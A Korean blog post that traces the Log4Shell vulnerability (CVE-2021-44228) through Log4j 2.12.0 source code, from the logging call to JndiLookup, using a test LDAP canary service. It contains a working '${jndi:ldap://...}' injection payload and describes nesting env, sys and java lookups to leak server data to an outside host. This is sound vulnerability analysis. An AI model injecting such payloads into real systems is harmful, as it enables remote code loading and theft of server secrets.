본문 바로가기

Security/Vulnerability Analysis

Log4j 취약점 소스코드 분석(CVE-2021-44228)

분석환경
-이클립스 maven프로젝트

-Log4j 2.12.0
-ldap 요청을 확인하기 위해 https://log4shell.huntress.com/ 사이트 활용

https://log4shell.huntress.com/

 

maven dependency 설정

 

먼저 로깅 과정을 디버깅 하기위해 main다음과 같이 main함수를 작성해주었다.

import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;

public class Example {
    private static final Logger LOGGER = LogManager.getLogger();

    public static void main(String[] args) {
        LOGGER.info("Hi -> " + "${jndi:ldap://log4shell.huntress.com:1389/f20cdfc4-68c2-4aec-b377-41b2c37054bf}");
    }
}

 

Logger.info 함수 부분에 브레이크 포인트를 걸고 한줄한줄 넘기다보면 MessagePatternConverter 클래스의 format 함수를 호출한다.

 

 

해당 함수의 주요부분으로, 전달된 문자열중에 ${ 로 시작하는 문자열을 찾아 config.getStrSubstitutor.replace(event, value) 를 호출한다.

이 replace는

 

replace함수

 

이렇게 구성되어 있으며, 매개변수로 받은 source(로깅문자열) 문자열을 이용해 substitute 함수를 호출한다.

이 substitute 함수는 다음과같이 구성되어 있다.
 

private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length,
                           List<String> priorVariables) {
        final StrMatcher prefixMatcher = getVariablePrefixMatcher();
        final StrMatcher suffixMatcher = getVariableSuffixMatcher();
        final char escape = getEscapeChar();
        final StrMatcher valueDelimiterMatcher = getValueDelimiterMatcher();
        final boolean substitutionInVariablesEnabled = isEnableSubstitutionInVariables();

        final boolean top = priorVariables == null;
        boolean altered = false;
        int lengthChange = 0;
        char[] chars = getChars(buf);
        int bufEnd = offset + length;
        int pos = offset;
        while (pos < bufEnd) {
            final int startMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd);
            if (startMatchLen == 0) {
                pos++;
            } else {
                // found variable start marker
                if (pos > offset && chars[pos - 1] == escape) {
                    // escaped
                    buf.deleteCharAt(pos - 1);
                    chars = getChars(buf);
                    lengthChange--;
                    altered = true;
                    bufEnd--;
                } else {
                    // find suffix
                    final int startPos = pos;
                    pos += startMatchLen;
                    int endMatchLen = 0;
                    int nestedVarCount = 0;
                    while (pos < bufEnd) {
                        if (substitutionInVariablesEnabled
                                && (endMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd)) != 0) {
                            // found a nested variable start
                            nestedVarCount++;
                            pos += endMatchLen;
                            continue;
                        }

                        endMatchLen = suffixMatcher.isMatch(chars, pos, offset, bufEnd);
                        if (endMatchLen == 0) {
                            pos++;
                        } else {
                            // found variable end marker
                            if (nestedVarCount == 0) {
                                String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos - startMatchLen);
                                if (substitutionInVariablesEnabled) {
                                    final StringBuilder bufName = new StringBuilder(varNameExpr);
                                    substitute(event, bufName, 0, bufName.length());
                                    varNameExpr = bufName.toString();
                                }
                                pos += endMatchLen;
                                final int endPos = pos;

                                String varName = varNameExpr;
                                String varDefaultValue = null;

                                if (valueDelimiterMatcher != null) {
                                    final char [] varNameExprChars = varNameExpr.toCharArray();
                                    int valueDelimiterMatchLen = 0;
                                    for (int i = 0; i < varNameExprChars.length; i++) {
                                        // if there's any nested variable when nested variable substitution disabled, then stop resolving name and default value.
                                        if (!substitutionInVariablesEnabled
                                                && prefixMatcher.isMatch(varNameExprChars, i, i, varNameExprChars.length) != 0) {
                                            break;
                                        }
                                        if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) {
                                            varName = varNameExpr.substring(0, i);
                                            varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen);
                                            break;
                                        }
                                    }
                                }

                                // on the first call initialize priorVariables
                                if (priorVariables == null) {
                                    priorVariables = new ArrayList<>();
                                    priorVariables.add(new String(chars, offset, length + lengthChange));
                                }

                                // handle cyclic substitution
                                checkCyclicSubstitution(varName, priorVariables);
                                priorVariables.add(varName);

                                // resolve the variable
                                String varValue = resolveVariable(event, varName, buf, startPos, endPos);
                                if (varValue == null) {
                                    varValue = varDefaultValue;
                                }
                                if (varValue != null) {
                                    // recursive replace
                                    final int varLen = varValue.length();
                                    buf.replace(startPos, endPos, varValue);
                                    altered = true;
                                    int change = substitute(event, buf, startPos, varLen, priorVariables);
                                    change = change + (varLen - (endPos - startPos));
                                    pos += change;
                                    bufEnd += change;
                                    lengthChange += change;
                                    chars = getChars(buf); // in case buffer was altered
                                }

                                // remove variable from the cyclic stack
                                priorVariables.remove(priorVariables.size() - 1);
                                break;
                            }
                            nestedVarCount--;
                            pos += endMatchLen;
                        }
                    }
                }
            }
        }
        if (top) {
            return altered ? 1 : 0;
        }
        return lengthChange;
    }

 

꽤나 복잡하게 생겼는데 중요한부분은 다음과 같다.

 

substitute 의 주요로직

함수의 도입부에서 선언된 prefixMatcher와 suffixMatcher 를 이용해 문자열에서 ${와 } 사이의 문자를 추출하여 resolveVariable 함수를 호출한다.
즉 main에서 Logger.info 함수에 넣어준 넣어준 "Hi -> " + "${jndi:ldap://log4shell.huntress.com:1389/f20cdfc4-68c2-4aec-b377-41b2c37054bf}" 문자중에서 jndi:ldap://log4shell.huntress.com:1389/f20cdfc4-68c2-4aec-b377-41b2c37054bf 이부분을 뽑아낸 것.

 

 

resolveVariable 함수

 

resloveVariable 함수는 StrLookup 의 인스턴스 resolver를 만들고 resolver.lookup 함수를 호출한다. 이 resolver에는 지원되는 lookup 키워드들이 map<key,value> 형식으로 정의되어있다.

 

.StrLookup

 

확인해보니 {date, ctx, main, sys, env, sd, java, marker, jndi, jvmrunargs, bundle, map, log4j} 총 13개를 지원하며 이중 우리가 활용할 부분은 JndiLookup 이다.
${} 포맷으로 넣어준 입력값의 첫 키워드(jndi, java 등) 를 식별해서 해당하는 Lookup 인스턴스와 맵핑되는 방식.

StrLookup 클래스의 lookup 함수

 

resolver.lookup 함수에서는 PREFIX_SEPERATOR 로 ‘:’ 문자를 기준으로 prefix와 name을 설정한다.
즉 여기서는 jndi가 prefix가 되고 ldap://log4shell.huntress.com:1389/f20cdfc4-68c2-4aec-b377-41b2c37054bf 가 name이 된다.

그리고 strLookupMap.get 을 통해 prefix의값에 맞는 StrLookup 객체를 가져온다. 위의 map에서 jndi를 key로 하여 value를 가져오므로 JndiLookup 객체를 가져온것을 확인할 수 있다.

strLookupMap.get 함수로 가져온 JndiLookup

 

그후 가져온 JndiLookup 을 이용해 lookup함수를 호출

value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);

 

JndiLookup의 lookup 함수

그리고 이 lookup 에서는 JndiManager 를 통해 다시 lookup 함수를 호출하고 리턴값을 toString 하여 반환한다. 즉 입력된 주소에 접근하고 리턴값을 받아오는것. 내부를 살펴보면

 

JndiManager.lookup

 

 

jndiManager.context.lookup

 

getURLorDefaultInitCtx

name문자열(입력값) 에서 URLScheme 를 가져오고

 

getURLcontext

getURLObject 함수로 입력값에 요청을보내고 리턴값을 answer에 받아온다.
놀랍게도 여기까지 JndiLookup 기능을 호출함에있어 문자열에대한 필터링, 검증 로직이 전혀없다.

 

테스트사이트 요청 확인

 

테스트 사이트에도 넣어준 경로로 ldap 요청이 들어온것을 확인할 수 있다.
위 사진의 두번째 payload처럼 log4j 서버의 값도 ldap서버로 보낼수 있는데 이점을 이용한다면 java(Javalookup), sys(SystemPropertyLookup), env(EnvironmentLookup) 등의 키워드를 사용해 log4j가 구동되는 서버의 정보들을 뽑아낼수도 있다.

 

Log4j 서버 정보 Leak

 

 

REFERENCE

https://github.com/christophetd/log4shell-vulnerable-app/pkgs/container/log4shell-vulnerable-app

https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout https://logging.apache.org/log4j/2.x/manual/lookups.html https://github.com/apache/logging-log4j2
Log4j 위협 대응 보고서 v1.0 - 한국인터넷진흥원(KISA)
2021 하반기 위협 동향 보고서 - 한국인터넷진흥원(KISA)